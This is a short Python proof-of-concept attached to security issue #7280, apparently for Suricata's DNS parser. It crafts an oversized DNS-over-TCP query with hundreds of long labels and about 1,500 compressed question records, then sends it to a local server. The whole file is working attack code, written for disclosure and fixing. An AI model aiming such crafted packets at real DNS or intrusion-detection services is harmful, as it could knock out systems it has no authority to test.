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Security #7280 » poc.py

Philippe Antoine, 09/26/2024 09:39 AM

 
import socket
import struct
import binascii
import time

HOST = "127.0.0.1" # The server's hostname or IP address
PORT = 1053 # The port used by the server

def dnsname(name):
b = bytearray(b"")
for l in name.split(b"."):
b.append(len(l))
b+=l
b.append(0)
return b

nbq=250

dnsh = struct.pack('>hhhhhh', 2222, 0x100, nbq*6, 0, 0, 0)
name = dnsname(b"123456789abcdef123456789abcdef." * nbq + b"suricata.io")
dnst = struct.pack('>hh', 16, 1)
poc = dnsh+name+dnst
for i in range(nbq*6-1):
poc = poc + struct.pack('>HHH', 0xC00C, 16, 1)
print(len(poc))
poc = struct.pack('>H', len(poc)) + poc
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(poc)
time.sleep(1)

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